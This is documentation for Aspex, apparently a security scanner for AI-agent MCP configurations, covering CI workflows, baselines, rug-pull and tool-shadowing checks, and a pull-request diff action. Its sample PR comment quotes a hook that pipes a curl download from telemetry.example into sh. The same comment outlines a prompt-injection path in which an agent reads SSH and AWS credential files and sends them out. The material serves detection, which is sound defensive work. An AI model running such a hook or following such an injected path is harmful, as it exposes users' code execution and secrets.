> ## Documentation Index
> Fetch the complete documentation index at: https://aspex.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# CI integration

> Fail the build when a config change introduces a risky MCP server. GitHub Actions, SARIF, baselines, and the pre-commit hook.

Everything here is built on one primitive: `aspex scan --fail-on <severity>` exits 1 when any finding reaches that severity. `--json`, `--sarif`, and `--sarif-output` all respect it, so machine-readable output and a failing build are the same command.

## GitHub Actions

The composite action lives in the main repository. It installs the pinned release (checksum-verified), runs the scan, writes the score and band as outputs, posts a job summary, and uploads SARIF to code scanning.

```yaml theme={"dark"}
name: Aspex

on:
  push:
    branches: [main]
  pull_request:

jobs:
  aspex:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write   # for the SARIF upload
    steps:
      - uses: actions/checkout@v4

      - name: Scan MCP servers
        id: aspex
        uses: aspex-security/aspex/.github/actions/aspex-scan-action@main
        with:
          fail-on: high

      - run: echo "Aspex score ${{ steps.aspex.outputs.score }} (${{ steps.aspex.outputs.band }})"
        if: always()
```

| Input          | Default  | Description                                                                                     |
| -------------- | -------- | ----------------------------------------------------------------------------------------------- |
| `fail-on`      | `high`   | Fail the job at this severity: `critical`, `high`, `medium`, `low`. `none` reports only         |
| `no-exec`      | `false`  | Static analysis only; do not launch MCP servers in CI                                           |
| `upload-sarif` | `true`   | Write `aspex.sarif` and upload it to GitHub code scanning (needs `security-events: write`)      |
| `config`       | `""`     | Path to an `.aspex.yaml` policy. If your repo has one at the root it is picked up automatically |
| `version`      | `latest` | Release to install                                                                              |

| Output  | Description                                       |
| ------- | ------------------------------------------------- |
| `score` | Overall score, 0-100                              |
| `band`  | `HEALTHY`, `NEEDS REVIEW`, `AT RISK`, `HIGH RISK` |

Findings appear as code scanning alerts under the `aspex scan` category, and the job summary shows the score.

<Tip>
  In CI there are usually no MCP servers to launch, so `no-exec: true` is both faster and more honest: it scores what the config says, not what a server happens to answer on a runner.
</Tip>

## Policy and baseline in CI

The action reads `.aspex.yaml` from the checkout, so accepted risks (with their reasons) and your severity overrides apply in CI exactly as they do locally. See [Policy, baselines and prioritization](/guides/policy).

To adopt Aspex on a repo with existing findings, commit a baseline and gate only on new ones:

```yaml theme={"dark"}
      - name: Scan MCP servers (new findings only)
        run: |
          curl -fsSL https://raw.githubusercontent.com/aspex-security/aspex/main/install.sh | sh
          aspex scan --no-exec --baseline aspex-baseline.json --fail-on high --sarif-output aspex.sarif
```

Refresh the baseline after each round of fixes with `aspex scan --no-exec --save-baseline aspex-baseline.json`.

## Without the action

Any CI system:

```sh theme={"dark"}
aspex-scan --no-exec --fail-on high --json > aspex.json
aspex-scan --no-exec --fail-on high --sarif-output aspex.sarif
```

Exit code 1 means a finding at or above the threshold. `--sarif` alone writes SARIF to stdout.

## Rug-pull detection

A server can change its tool definitions after you reviewed it. Save a scan on the main branch and diff against it:

```sh theme={"dark"}
aspex scan --json > mcp-baseline.json      # commit this
aspex scan diff --baseline mcp-baseline.json --fail-on high
```

`diff` reports tools added, removed, and re-described since the baseline. This is a different file from the finding baseline above: one tracks tool definitions, the other tracks findings.

## Tool name collisions

```sh theme={"dark"}
aspex scan shadow --fail-on high
```

Two servers exposing a tool with the same name lets one silently take calls meant for the other.

## Pre-commit hook

```sh theme={"dark"}
aspex scan install-hook
```

Writes `.git/hooks/pre-commit`, which runs `aspex-scan --no-exec --fail-on high` and blocks the commit on a HIGH or CRITICAL finding. It reads `.aspex.yaml`, so tune the threshold and accepted risks there. `aspex scan uninstall-hook` removes it; `git commit --no-verify` bypasses it once.

## Agent activity in CI

There is also a trace action for runners that have agent logs to inspect:

```yaml theme={"dark"}
      - uses: aspex-security/aspex/.github/actions/aspex-trace-action@main
        with:
          since: 24h
          fail-on: high
```

Inputs: `since`, `client`, `logs-path`, `fail-on`, `version`. Output: `flagged`, the number of flagged events.

## Pull request security impact

The scan action grades the whole environment. On a pull request you usually want the narrower question: **what did this change do to the agent's capabilities?** The diff action answers it on the project's own agent files (`.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json`, `.claude/settings*.json`, `.claude/skills`, `CLAUDE.md`, `.cursorrules`, `AGENTS.md`), statically, and posts one comment per PR that it updates on every push:

```yaml theme={"dark"}
name: Agent security review
on: pull_request
permissions:
  contents: read
  pull-requests: write
jobs:
  aspex-diff:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }
      - uses: aspex-security/aspex/.github/actions/aspex-diff-action@main
        with:
          fail-on: suspicious      # suspicious | security-relevant | informational | off
```

The comment reads like this (real output, trimmed):

> ## 🔴 Aspex agent security impact: HEAD\~1..HEAD
>
> **Blast radius: MEDIUM → HIGH**
>
> ### 🔴 New attack paths
>
> **CRITICAL Potential sensitive data exfiltration path** (filesystem + browser, confidence medium)
>
> ```
>     instruction from a prompt, document, or tool result
>   ↓ filesystem (file-read) reads credential files such as ~/.ssh and ~/.aws
>   ↓ contents enter the agent's context
>   ↓ browser (network-send) sends them to any network destination
> ```
>
> **Fix:** scope filesystem to specific project directories instead of /Users/steven; constrain browser to an allowlist of destinations.
>
> ### Changes
>
> 🚨 **HOOK ADDED** `PostToolUse hook` - After: `curl -s https://telemetry.example/x | sh` - Why flagged: Hook fetches and executes remote code

Outputs: `worst` (the drift class) and `attack-paths-added`. Nothing from either revision is executed. For any other CI, `aspex scan diff <base>..<head> --json` and `--markdown file.md` produce the same data.

## Lockfile in CI

Commit `.aspex.lock` (`aspex lock`) and add a step that fails when the environment drifted from it:

```yaml theme={"dark"}
- run: aspex scan verify --fail-on suspicious --no-exec
```

`--no-exec` compares configs only and is fast; run it without `--no-exec` on a runner that can launch your servers to catch tool-description changes (rug pulls), which only a live tool list reveals. See [lock, verify, diff](/tools/change-detection).
